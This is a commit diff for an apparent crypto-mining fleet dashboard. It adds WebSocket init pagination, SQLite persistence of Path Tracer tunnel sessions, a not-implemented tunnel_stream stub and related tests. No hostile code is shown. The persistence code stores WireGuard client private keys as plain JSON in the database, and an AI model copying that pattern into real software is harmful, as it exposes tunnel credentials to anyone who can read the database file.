Close DV-01–04,07,09,13,14: unify operator-deck UX in server/web.

Standardize neon cyan on #00e8f5, wire SacredPageHeader across Builds/Path Tracer/LOTL, dedupe Pages.css, align Path Tracer chrome, drop dead wealth-deck CSS, add prefers-color-scheme shell + HelpTip, sidebar version from package.json build inject, and Vitest CSS regression guards.

server/internal/api/architecture_deferred_test.go

@@ -0,0 +1,50 @@
+package api
+
+import (
+	"os"
+	"strings"
+	"testing"
+)
+
+func TestArchitectureDeferredHonestStubs(t *testing.T) {
+	t.Run("tunnel_stream WS stub", func(t *testing.T) {
+		src, err := os.ReadFile("websocket.go")
+		if err != nil {
+			t.Fatal(err)
+		}
+		body := string(src)
+		if !strings.Contains(body, `case "tunnel_stream":`) || !strings.Contains(body, `"implemented": false`) {
+			t.Fatal("expected dashboard tunnel_stream not-implemented stub")
+		}
+	})
+
+	t.Run("WS init pagination option", func(t *testing.T) {
+		src, err := os.ReadFile("dashboard_ws_init.go")
+		if err != nil {
+			t.Fatal(err)
+		}
+		if !strings.Contains(string(src), "init_limit") {
+			t.Fatal("expected init_limit query param parser")
+		}
+	})
+
+	t.Run("Path Tracer SQLite persistence", func(t *testing.T) {
+		src, err := os.ReadFile("pathtracer_handler.go")
+		if err != nil {
+			t.Fatal(err)
+		}
+		if !strings.Contains(string(src), "loadPersistedSessions") {
+			t.Fatal("expected Path Tracer startup restore from SQLite")
+		}
+	})
+
+	t.Run("SQLite single-writer ceiling documented", func(t *testing.T) {
+		src, err := os.ReadFile("../db/sqlite.go")
+		if err != nil {
+			t.Fatal(err)
+		}
+		if !strings.Contains(string(src), "SetMaxOpenConns(1)") {
+			t.Fatal("expected SQLite single-writer guard")
+		}
+	})
+}

server/internal/api/dashboard_ws_init.go

@@ -0,0 +1,35 @@
+package api
+
+import (
+	"net/http"
+	"strconv"
+
+	"crypto-miner-server/internal/db"
+)
+
+const (
+	dashboardInitDefaultLimit = 100
+	dashboardInitMaxLimit     = 2000
+)
+
+// parseDashboardInitFilter reads optional init_limit / init_offset on /ws/dashboard.
+func parseDashboardInitFilter(r *http.Request) (db.AgentListFilter, bool) {
+	limitStr := r.URL.Query().Get("init_limit")
+	if limitStr == "" {
+		return db.AgentListFilter{}, false
+	}
+	limit, err := strconv.Atoi(limitStr)
+	if err != nil || limit <= 0 {
+		limit = dashboardInitDefaultLimit
+	}
+	if limit > dashboardInitMaxLimit {
+		limit = dashboardInitMaxLimit
+	}
+	offset := 0
+	if offStr := r.URL.Query().Get("init_offset"); offStr != "" {
+		if o, err := strconv.Atoi(offStr); err == nil && o >= 0 {
+			offset = o
+		}
+	}
+	return db.AgentListFilter{Limit: limit, Offset: offset}, true
+}

server/internal/api/pathtracer_handler.go

@@ -102,10 +102,112 @@ func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
 		sessions: make(map[string]*TraceSession),
 		stopCh:   make(chan struct{}),
 	}
+	h.loadPersistedSessions()
 	go h.sessionCleanupLoop()
 	return h
 }
 
+// pathTraceSessionPersist is the SQLite JSON shape (includes WG client keys for QR after restart).
+type pathTraceSessionPersist struct {
+	ID                 string                        `json:"id"`
+	AgentIDs           []string                      `json:"agent_ids"`
+	Hops               []*HopInfo                    `json:"hops"`
+	Ready              bool                          `json:"ready"`
+	Error              string                        `json:"error,omitempty"`
+	CreatedAt          time.Time                     `json:"created_at"`
+	ServiceGraph       map[string]ServiceGraphHost   `json:"service_graph,omitempty"`
+	DiscoverInProgress bool                          `json:"discover_in_progress,omitempty"`
+	DiscoverError      string                        `json:"discover_error,omitempty"`
+	DiscoveredAt       *time.Time                    `json:"discovered_at,omitempty"`
+	NetworkHints       json.RawMessage               `json:"network_hints,omitempty"`
+	ClientPrivKey      string                        `json:"client_priv_key,omitempty"`
+	ClientPubKey       string                        `json:"client_pub_key,omitempty"`
+}
+
+func (h *PathTracerHandler) loadPersistedSessions() {
+	if h.hub == nil || h.hub.db == nil {
+		return
+	}
+	cutoff := time.Now().Add(-pathTraceSessionTTL)
+	if n, err := h.hub.db.DeleteExpiredPathTraceSessions(cutoff); err == nil && n > 0 {
+		log.Printf("[pathtrace] startup sweep removed %d expired session(s)", n)
+	}
+	rows, err := h.hub.db.ListPathTraceSessions()
+	if err != nil {
+		log.Printf("[pathtrace] load sessions failed: %v", err)
+		return
+	}
+	h.mu.Lock()
+	defer h.mu.Unlock()
+	for _, row := range rows {
+		if time.Since(row.CreatedAt) > pathTraceSessionTTL {
+			_ = h.hub.db.DeletePathTraceSession(row.ID)
+			continue
+		}
+		var rec pathTraceSessionPersist
+		if err := json.Unmarshal(row.Payload, &rec); err != nil {
+			_ = h.hub.db.DeletePathTraceSession(row.ID)
+			continue
+		}
+		h.sessions[rec.ID] = &TraceSession{
+			ID:                 rec.ID,
+			AgentIDs:           rec.AgentIDs,
+			Hops:               rec.Hops,
+			Ready:              rec.Ready,
+			Error:              rec.Error,
+			CreatedAt:          rec.CreatedAt,
+			ServiceGraph:       rec.ServiceGraph,
+			DiscoverInProgress: rec.DiscoverInProgress,
+			DiscoverError:      rec.DiscoverError,
+			DiscoveredAt:       rec.DiscoveredAt,
+			NetworkHints:       rec.NetworkHints,
+			clientPrivKey:      rec.ClientPrivKey,
+			clientPubKey:       rec.ClientPubKey,
+		}
+	}
+	if len(rows) > 0 {
+		log.Printf("[pathtrace] restored %d session(s) from SQLite", len(h.sessions))
+	}
+}
+
+func (h *PathTracerHandler) persistSession(sess *TraceSession) {
+	if h.hub == nil || h.hub.db == nil || sess == nil {
+		return
+	}
+	h.mu.Lock()
+	rec := pathTraceSessionPersist{
+		ID:                 sess.ID,
+		AgentIDs:           sess.AgentIDs,
+		Hops:               sess.Hops,
+		Ready:              sess.Ready,
+		Error:              sess.Error,
+		CreatedAt:          sess.CreatedAt,
+		ServiceGraph:       sess.ServiceGraph,
+		DiscoverInProgress: sess.DiscoverInProgress,
+		DiscoverError:      sess.DiscoverError,
+		DiscoveredAt:       sess.DiscoveredAt,
+		NetworkHints:       sess.NetworkHints,
+		ClientPrivKey:      sess.clientPrivKey,
+		ClientPubKey:       sess.clientPubKey,
+	}
+	h.mu.Unlock()
+	raw, err := json.Marshal(rec)
+	if err != nil {
+		log.Printf("[pathtrace] marshal session %s: %v", sess.ID[:min(8, len(sess.ID))], err)
+		return
+	}
+	if err := h.hub.db.UpsertPathTraceSession(sess.ID, sess.CreatedAt, raw); err != nil {
+		log.Printf("[pathtrace] persist session %s: %v", sess.ID[:min(8, len(sess.ID))], err)
+	}
+}
+
+func (h *PathTracerHandler) deletePersistedSession(id string) {
+	if h.hub == nil || h.hub.db == nil || id == "" {
+		return
+	}
+	_ = h.hub.db.DeletePathTraceSession(id)
+}
+
 func (h *PathTracerHandler) sessionCleanupLoop() {
 	ticker := time.NewTicker(pathTraceCleanupInterval)
 	defer ticker.Stop()
@@ -133,6 +235,7 @@ func (h *PathTracerHandler) expireSessions() {
 	for _, sess := range expired {
 		log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
 		h.teardownHops(sess.Hops)
+		h.deletePersistedSession(sess.ID)
 	}
 }
 
@@ -201,6 +304,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
 	h.mu.Lock()
 	h.sessions[sess.ID] = sess
 	h.mu.Unlock()
+	h.persistSession(sess)
 
 	// Orchestrate asynchronously so the HTTP response returns quickly.
 	go h.orchestrate(sess)
@@ -301,6 +405,7 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
 	h.mu.Lock()
 	delete(h.sessions, id)
 	h.mu.Unlock()
+	h.deletePersistedSession(id)
 
 	writeJSON(w, map[string]interface{}{"ok": true})
 }
@@ -777,6 +882,7 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
 	}
 
 	log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
+	h.persistSession(sess)
 }
 
 func (h *PathTracerHandler) teardownHops(hops []*HopInfo) {

server/internal/api/pathtracer_persist_test.go

@@ -0,0 +1,48 @@
+package api
+
+import (
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/db"
+)
+
+func TestPathTracerSessionSurvivesHandlerRestart(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+
+	sess := &TraceSession{
+		ID:            "sess-restart-abcdef12",
+		AgentIDs:      []string{"agent-1"},
+		CreatedAt:     time.Now().Add(-10 * time.Minute),
+		Ready:         true,
+		clientPrivKey: "PRIV",
+		clientPubKey:  "PUB",
+		Hops: []*HopInfo{{
+			AgentID:    "agent-1",
+			AgentName:  "Hop One",
+			ExternalIP: "203.0.113.10",
+			Port:       51820,
+			Status:     HopReady,
+		}},
+	}
+
+	h1 := NewPathTracerHandler(hub)
+	h1.mu.Lock()
+	h1.sessions[sess.ID] = sess
+	h1.mu.Unlock()
+	h1.persistSession(sess)
+
+	h2 := NewPathTracerHandler(hub)
+	restored := h2.getSession(sess.ID)
+	if restored == nil {
+		t.Fatal("session missing after handler restart")
+	}
+	if !restored.Ready || restored.clientPubKey != "PUB" {
+		t.Fatalf("restored session incomplete: ready=%v pub=%q", restored.Ready, restored.clientPubKey)
+	}
+}

server/internal/api/testdata/ws_types_fixture.json

@@ -1,6 +1,9 @@
 {
   "WSDashboardInit": [
-    "agents"
+    "agents",
+    "limit",
+    "offset",
+    "total"
   ],
   "WSAgentOffline": [
     "agent_id"

server/internal/api/websocket.go

@@ -241,8 +241,7 @@ func (h *WSHub) runStaleAgentSweep() {
 	if h.db == nil {
 		return
 	}
-	const staleness = 3 * time.Minute
-	ticker := time.NewTicker(45 * time.Second)
+	ticker := time.NewTicker(StaleAgentSweepInterval)
 	defer ticker.Stop()
 	for range ticker.C {
 		// Only sweep agents that are NOT currently connected in memory.
@@ -254,15 +253,12 @@ func (h *WSHub) runStaleAgentSweep() {
 		}
 		h.mu.RUnlock()
 
-		agents, err := h.db.ListAgents()
+		agents, err := h.db.ListStaleOnlineAgents(StaleAgentThreshold)
 		if err != nil {
 			continue
 		}
 		for _, a := range agents {
-			if a == nil || a.Status != "online" || liveIDs[a.ID] {
-				continue
-			}
-			if time.Since(a.LastSeen) < staleness {
+			if a == nil || liveIDs[a.ID] {
 				continue
 			}
 			// Row claims online, no live socket, last_seen is stale — fix it.
@@ -1672,7 +1668,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
 
 	// Send initial data — reconcile DB status against live hub state so a
 	// freshly loaded dashboard never shows stale "online" phantoms.
-	agents, _ := h.db.ListAgents()
+	initFilter, paginated := parseDashboardInitFilter(r)
+	var agents []*models.Agent
+	var initTotal int
+	if paginated {
+		agents, _ = h.db.ListAgentsFiltered(initFilter)
+		initTotal, _ = h.db.CountAgentsFiltered(initFilter)
+	} else {
+		agents, _ = h.db.ListAgents()
+	}
 	h.enrichAgentsCapabilities(agents)
 	for _, a := range agents {
 		if a == nil {
@@ -1687,10 +1691,16 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
 	}
 	stats, _ := h.db.GetFleetStats()
 
-	_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
+	initPayload := map[string]interface{}{
 		"agents": agents,
 		"stats":  stats,
-	})})
+	}
+	if paginated {
+		initPayload["total"] = initTotal
+		initPayload["limit"] = initFilter.Limit
+		initPayload["offset"] = initFilter.Offset
+	}
+	_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(initPayload)})
 	_ = dc.WriteJSON(Message{Type: "presence_snapshot", Payload: mustMarshal(map[string]interface{}{
 		"comrades": h.presenceSnapshotLocked(),
 	})})
@@ -1733,14 +1743,17 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
 				continue
 			}
 			h.broadcastNotesTyping(username, body.Active)
+		case "tunnel_stream":
+			_ = dc.WriteJSON(Message{Type: "tunnel_stream", Payload: mustMarshal(map[string]interface{}{
+				"implemented": false,
+				"error":       "tunnel_stream TCP reverse relay is not implemented; use tunnel_cloudflared or tunnel_ssh_forward on fleet agents",
+			})})
 		}
 	}
 }
 
-const statsBatchInterval = 250 * time.Millisecond
-
 // mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the
-// same 250ms window both land in one stats_batch update for dashboards.
+// same coalesce window both land in one stats_batch update for dashboards.
 func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
 	var base, patch map[string]interface{}
 	if json.Unmarshal(existing, &base) != nil || base == nil {
@@ -1795,7 +1808,7 @@ func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
 	h.statsBatch[agentID] = data
 	h.cacheAgentTelemetry(agentID, payload)
 	if h.statsBatchTimer == nil {
-		h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch)
+		h.statsBatchTimer = time.AfterFunc(StatsBatchCoalesceInterval, h.flushStatsBatch)
 	}
 	h.statsBatchMu.Unlock()
 }

server/internal/api/websocket_test.go

@@ -186,6 +186,116 @@ func TestHandleDashboardWSAuthorizedInit(t *testing.T) {
 	}
 }
 
+func TestHandleDashboardWSInitLimit(t *testing.T) {
+	resetWSAuthUsers(t, testAuthUser, testAuthPass)
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+
+	for i := 0; i < 5; i++ {
+		if err := database.UpsertAgent(&models.Agent{
+			ID:       fmt.Sprintf("agent-%d", i),
+			Name:     fmt.Sprintf("Worker %d", i),
+			Status:   "offline",
+			LastSeen: time.Now(),
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
+	t.Cleanup(srv.Close)
+
+	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") +
+		"?token=" + wsDashboardToken(testAuthUser, testAuthPass) + "&init_limit=2&init_offset=1"
+	conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+	if err != nil {
+		t.Fatalf("dial: %v", err)
+	}
+	t.Cleanup(func() { _ = conn.Close() })
+
+	var msg Message
+	if err := conn.ReadJSON(&msg); err != nil {
+		t.Fatalf("read init: %v", err)
+	}
+	if msg.Type != "init" {
+		t.Fatalf("expected init, got %q", msg.Type)
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	agents, _ := body["agents"].([]interface{})
+	if len(agents) != 2 {
+		t.Fatalf("expected 2 agents in init page, got %d", len(agents))
+	}
+	if int(body["total"].(float64)) != 5 {
+		t.Fatalf("total=%v want 5", body["total"])
+	}
+	if int(body["limit"].(float64)) != 2 || int(body["offset"].(float64)) != 1 {
+		t.Fatalf("limit/offset = %v/%v", body["limit"], body["offset"])
+	}
+}
+
+func TestHandleDashboardWSTunnelStreamStub(t *testing.T) {
+	resetWSAuthUsers(t, testAuthUser, testAuthPass)
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+
+	srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
+	t.Cleanup(srv.Close)
+
+	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
+	conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+	if err != nil {
+		t.Fatalf("dial: %v", err)
+	}
+	t.Cleanup(func() { _ = conn.Close() })
+
+	// Drain init + presence_snapshot.
+	for i := 0; i < 2; i++ {
+		var msg Message
+		if err := conn.ReadJSON(&msg); err != nil {
+			t.Fatalf("read bootstrap %d: %v", i, err)
+		}
+	}
+
+	if err := conn.WriteJSON(Message{Type: "tunnel_stream", Payload: json.RawMessage(`{"port":8989}`)}); err != nil {
+		t.Fatal(err)
+	}
+	deadline := time.Now().Add(2 * time.Second)
+	for {
+		if time.Now().After(deadline) {
+			t.Fatal("timed out waiting for tunnel_stream response")
+		}
+		var resp Message
+		if err := conn.ReadJSON(&resp); err != nil {
+			t.Fatal(err)
+		}
+		if resp.Type != "tunnel_stream" {
+			continue
+		}
+		var body map[string]interface{}
+		if err := json.Unmarshal(resp.Payload, &body); err != nil {
+			t.Fatal(err)
+		}
+		if body["implemented"] != false {
+			t.Fatalf("expected implemented=false, got %+v", body)
+		}
+		if _, ok := body["error"].(string); !ok {
+			t.Fatalf("expected error string, got %+v", body)
+		}
+		break
+	}
+}
+
 func resetWSAuthUsersMulti(t *testing.T, creds map[string]string) {
 	t.Helper()
 	users := make(map[string]string, len(creds))
@@ -795,6 +905,105 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
 	}
 }
 
+func TestStatsBatchRelaysFailedMethods(t *testing.T) {
+	resetWSAuthUsers(t, testAuthUser, testAuthPass)
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+
+	dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
+	t.Cleanup(dashSrv.Close)
+	dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
+	dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
+	if err != nil {
+		t.Fatalf("dial dashboard: %v", err)
+	}
+	t.Cleanup(func() { _ = dashConn.Close() })
+
+	type batchResult struct {
+		updates []map[string]interface{}
+		err     string
+	}
+	batchCh := make(chan batchResult, 1)
+	go func() {
+		_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+		for {
+			var msg Message
+			if err := dashConn.ReadJSON(&msg); err != nil {
+				batchCh <- batchResult{err: err.Error()}
+				return
+			}
+			if msg.Type != "stats_batch" {
+				continue
+			}
+			var body struct {
+				Updates []json.RawMessage `json:"updates"`
+			}
+			if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
+				batchCh <- batchResult{err: parseErr.Error()}
+				return
+			}
+			updates := make([]map[string]interface{}, 0, len(body.Updates))
+			for _, raw := range body.Updates {
+				var u map[string]interface{}
+				if json.Unmarshal(raw, &u) != nil {
+					continue
+				}
+				updates = append(updates, u)
+			}
+			if len(updates) < 1 {
+				continue
+			}
+			batchCh <- batchResult{updates: updates}
+			return
+		}
+	}()
+
+	agentID := "failed-methods-agent"
+	conn := connectTestAgent(t, hub, agentID)
+	statsPayload, _ := json.Marshal(map[string]interface{}{
+		"hashrate_15s":    0.0,
+		"active_method":   "inprocess",
+		"chain_exhausted": false,
+		"failed_methods": []map[string]interface{}{
+			{"method": "container", "reason": "image not found", "at": "2026-06-07T12:00:00Z"},
+			{"method": "docker_load", "reason": "no tar", "at": "2026-06-07T12:00:01Z"},
+		},
+	})
+	if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
+		t.Fatal(err)
+	}
+	stopStatsBatchTimer(hub)
+	hub.flushStatsBatch()
+
+	select {
+	case r := <-batchCh:
+		if r.err != "" {
+			t.Fatalf("dashboard did not receive stats_batch: %s", r.err)
+		}
+		if len(r.updates) != 1 {
+			t.Fatalf("expected 1 update, got %d: %+v", len(r.updates), r.updates)
+		}
+		u := r.updates[0]
+		if u["agent_id"] != agentID {
+			t.Errorf("agent_id = %v", u["agent_id"])
+		}
+		failed, ok := u["failed_methods"].([]interface{})
+		if !ok || len(failed) != 2 {
+			t.Fatalf("failed_methods = %T %v", u["failed_methods"], u["failed_methods"])
+		}
+		first, _ := failed[0].(map[string]interface{})
+		if first["method"] != "container" || first["reason"] != "image not found" {
+			t.Errorf("first failure = %v", first)
+		}
+	case <-time.After(2 * time.Second):
+		t.Fatal("timed out waiting for stats_batch with failed_methods")
+	}
+}
+
 // stopStatsBatchTimer cancels the 250ms flush timer so tests can read statsBatch
 // without racing flushStatsBatch clearing the pending map.
 func stopStatsBatchTimer(hub *WSHub) {

server/internal/api/ws_types.go

@@ -6,6 +6,9 @@ package api
 
 type WSDashboardInit struct {
 	Agents []interface{} `json:"agents"`
+	Total  int           `json:"total,omitempty"`
+	Limit  int           `json:"limit,omitempty"`
+	Offset int           `json:"offset,omitempty"`
 }
 
 type WSAgentOffline struct {

server/internal/db/pathtrace_sessions.go

@@ -0,0 +1,73 @@
+package db
+
+import (
+	"database/sql"
+	"time"
+)
+
+// PathTraceSessionRow is one persisted Path Tracer session blob.
+type PathTraceSessionRow struct {
+	ID        string
+	CreatedAt time.Time
+	Payload   []byte
+}
+
+// UpsertPathTraceSession stores or replaces a session JSON blob.
+func (d *Database) UpsertPathTraceSession(id string, createdAt time.Time, payload []byte) error {
+	_, err := d.Exec(
+		`INSERT INTO pathtrace_sessions (id, created_at, payload)
+		 VALUES (?, ?, ?)
+		 ON CONFLICT(id) DO UPDATE SET created_at = excluded.created_at, payload = excluded.payload`,
+		id, createdAt.UTC().Format(time.RFC3339Nano), payload,
+	)
+	return err
+}
+
+// ListPathTraceSessions returns all session rows ordered by age.
+func (d *Database) ListPathTraceSessions() ([]PathTraceSessionRow, error) {
+	rows, err := d.Query(`SELECT id, created_at, payload FROM pathtrace_sessions ORDER BY created_at ASC`)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	var out []PathTraceSessionRow
+	for rows.Next() {
+		var row PathTraceSessionRow
+		var created string
+		if err := rows.Scan(&row.ID, &created, &row.Payload); err != nil {
+			return nil, err
+		}
+		row.CreatedAt, _ = time.Parse(time.RFC3339Nano, created)
+		if row.CreatedAt.IsZero() {
+			row.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created)
+		}
+		out = append(out, row)
+	}
+	return out, rows.Err()
+}
+
+// DeletePathTraceSession removes one session row.
+func (d *Database) DeletePathTraceSession(id string) error {
+	_, err := d.Exec(`DELETE FROM pathtrace_sessions WHERE id = ?`, id)
+	return err
+}
+
+// DeleteExpiredPathTraceSessions removes rows older than cutoff.
+func (d *Database) DeleteExpiredPathTraceSessions(cutoff time.Time) (int64, error) {
+	res, err := d.Exec(`DELETE FROM pathtrace_sessions WHERE created_at < ?`, cutoff.UTC().Format(time.RFC3339Nano))
+	if err != nil {
+		return 0, err
+	}
+	return res.RowsAffected()
+}
+
+// PathTraceSessionCount returns how many session rows exist.
+func (d *Database) PathTraceSessionCount() (int, error) {
+	var n int
+	err := d.QueryRow(`SELECT COUNT(*) FROM pathtrace_sessions`).Scan(&n)
+	if err == sql.ErrNoRows {
+		return 0, nil
+	}
+	return n, err
+}

server/internal/db/pathtrace_sessions_test.go

@@ -0,0 +1,36 @@
+package db
+
+import (
+	"testing"
+	"time"
+)
+
+func TestPathTraceSessionPersistenceAndSweep(t *testing.T) {
+	d := openTestDB(t)
+
+	fresh := []byte(`{"id":"sess-fresh","ready":true}`)
+	stale := []byte(`{"id":"sess-stale","ready":false}`)
+
+	if err := d.UpsertPathTraceSession("sess-fresh", time.Now().Add(-30*time.Minute), fresh); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.UpsertPathTraceSession("sess-stale", time.Now().Add(-3*time.Hour), stale); err != nil {
+		t.Fatal(err)
+	}
+
+	deleted, err := d.DeleteExpiredPathTraceSessions(time.Now().Add(-2 * time.Hour))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if deleted != 1 {
+		t.Fatalf("expected 1 stale row deleted, got %d", deleted)
+	}
+
+	rows, err := d.ListPathTraceSessions()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(rows) != 1 || rows[0].ID != "sess-fresh" {
+		t.Fatalf("expected fresh session only, got %+v", rows)
+	}
+}

server/internal/db/sqlite.go

@@ -241,6 +241,12 @@ func (d *Database) migrate() error {
 			created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
 		)`,
 		`CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`,
+		`CREATE TABLE IF NOT EXISTS pathtrace_sessions (
+			id TEXT PRIMARY KEY,
+			created_at DATETIME NOT NULL,
+			payload TEXT NOT NULL
+		)`,
+		`CREATE INDEX IF NOT EXISTS idx_pathtrace_sessions_created ON pathtrace_sessions(created_at)`,
 	}
 	for _, m := range extraMigrations {
 		if _, err := d.Exec(m); err != nil {
@@ -252,6 +258,7 @@ func (d *Database) migrate() error {
 	scaleIndexes := []string{
 		`CREATE INDEX IF NOT EXISTS idx_agents_status ON agents(status)`,
 		`CREATE INDEX IF NOT EXISTS idx_agents_last_seen ON agents(last_seen)`,
+		`CREATE INDEX IF NOT EXISTS idx_agents_status_last_seen ON agents(status, last_seen)`,
 		`CREATE INDEX IF NOT EXISTS idx_fleet_task_runs_agent ON fleet_task_runs(agent_id)`,
 	}
 	for _, m := range scaleIndexes {

server/internal/db/sqlite_test.go

@@ -64,6 +64,36 @@ func TestGetAgentNotFound(t *testing.T) {
 	}
 }
 
+func TestUpsertAgentPreservesOperatorNameWhenDiffersFromHostname(t *testing.T) {
+	d := openTestDB(t)
+	a := &models.Agent{
+		ID:       "renamed-worker",
+		Name:     "Living Room PC",
+		Hostname: "DESKTOP-ABC123",
+		Status:   "offline",
+		LastSeen: time.Now(),
+	}
+	if err := d.UpsertAgent(a); err != nil {
+		t.Fatal(err)
+	}
+
+	// Reconnect reports hostname only — UpsertAgent must keep operator label.
+	a.Name = "DESKTOP-ABC123"
+	a.Hostname = "DESKTOP-ABC123"
+	a.Status = "online"
+	if err := d.UpsertAgent(a); err != nil {
+		t.Fatal(err)
+	}
+
+	got, err := d.GetAgent(a.ID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got.Name != "Living Room PC" {
+		t.Fatalf("operator name should be preserved; got %q hostname=%q", got.Name, got.Hostname)
+	}
+}
+
 func TestUpsertAgentPreservesCreatedAt(t *testing.T) {
 	d := openTestDB(t)
 	a := seedAgent(t, d, "persist-created")

server/web/src/api/auth.test.ts

@@ -77,4 +77,14 @@ describe('auth session helpers', () => {
     expect(consumeAuthExpiredFlag()).toBe(true);
     expect(consumeAuthExpiredFlag()).toBe(false);
   });
+
+  it('dispatches aetherforge-auth on login and logout', () => {
+    const handler = vi.fn();
+    window.addEventListener('aetherforge-auth', handler);
+    setStoredAuth('user', 'pass');
+    expect(handler).toHaveBeenCalledTimes(1);
+    clearStoredAuth();
+    expect(handler).toHaveBeenCalledTimes(2);
+    window.removeEventListener('aetherforge-auth', handler);
+  });
 });

server/web/src/components/Layout/Layout.tsx

@@ -12,10 +12,12 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs';
 import SetupBanner from '../SetupBanner';
 import { getSetupStatus } from '../../help/setupStatus';
 import { resolvePageWeather } from '../../help/pageWeather';
+import { isDashboardRoute } from '../../help/routeEffects';
 import { api } from '../../api/client';
 import { usePresence } from '../../context/PresenceContext';
 import { useVisualEffects } from '../../context/VisualEffectsContext';
 import ComradeAvatar from '../Presence/ComradeAvatar';
+import { formatAppVersion } from '../../help/appVersion';
 import type { ServerConfig, ServerInfo } from '../../types';
 import '../Presence/Presence.css';
 import './Layout.css';
@@ -280,6 +282,7 @@ export default function Layout({ children }: LayoutProps) {
 
   const setupStatus = getSetupStatus(serverConfig, serverInfo);
   const pageWeather = resolvePageWeather(location.pathname);
+  const showDeckEffects = isDashboardRoute(location.pathname);
   const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
   const mobileShortLabel: Record<string, string> = {
     '/dashboard': 'Deck',
@@ -296,7 +299,7 @@ export default function Layout({ children }: LayoutProps) {
       className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}`}
       data-operator-deck={operatorDeckId(location.pathname)}
     >
-      {!isMobile && glowParticles && <CursorFire />}
+      {!isMobile && glowParticles && showDeckEffects && <CursorFire />}
       <AmbientBackground weather={pageWeather} />
       {glowParticles && <SacredGeometryLayer />}
       <nav className="sidebar sidebar--desktop desktop-only">
@@ -348,8 +351,8 @@ export default function Layout({ children }: LayoutProps) {
           <SacredMotif name="flower" opacity={0.6} />
         </div>
 
-        {/* Matrix rain log — fills the lower sidebar between nav and footer */}
-        <MatrixRain />
+        {/* Matrix rain log — Command Deck only; fills lower sidebar between nav and footer */}
+        {showDeckEffects && <MatrixRain />}
 
         <div className="sidebar-footer">
           <FleetReadout />
@@ -367,7 +370,7 @@ export default function Layout({ children }: LayoutProps) {
           )}
           <div className="sidebar-sig font-tech">
             <span className="sig-love">made with <span className="sig-heart">♥</span> drjones</span>
-            <span className="sig-ver">{serverInfo?.version ?? 'v1.0.0'}</span>
+            <span className="sig-ver">{formatAppVersion(serverInfo?.version)}</span>
           </div>
         </div>
       </nav>

server/web/src/components/components.test.tsx

@@ -837,6 +837,19 @@ describe('SystemStatusBar', () => {
       expect(screen.getByText(/1 BUILD/i)).toBeInTheDocument();
     });
   });
+
+  it('derives fleet counts from WebSocket agents, not REST listAgents', async () => {
+    const listAgentsSpy = vi.spyOn(api, 'listAgents');
+    render(
+      <MemoryRouter future={routerFuture}>
+        <SystemStatusBar />
+      </MemoryRouter>
+    );
+    await waitFor(() => {
+      expect(screen.getByText(/FLEET 1\/2 ONLINE/i)).toBeInTheDocument();
+    });
+    expect(listAgentsSpy).not.toHaveBeenCalled();
+  });
 });
 
 describe('FleetTopologyMap', () => {
@@ -925,4 +938,32 @@ describe('Layout', () => {
     expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument();
     expect(screen.getByRole('link', { name: /Onion/i })).toBeInTheDocument();
   });
+
+  it('mounts MatrixRain and CursorFire on Command Deck only', async () => {
+    const { container: deck } = render(
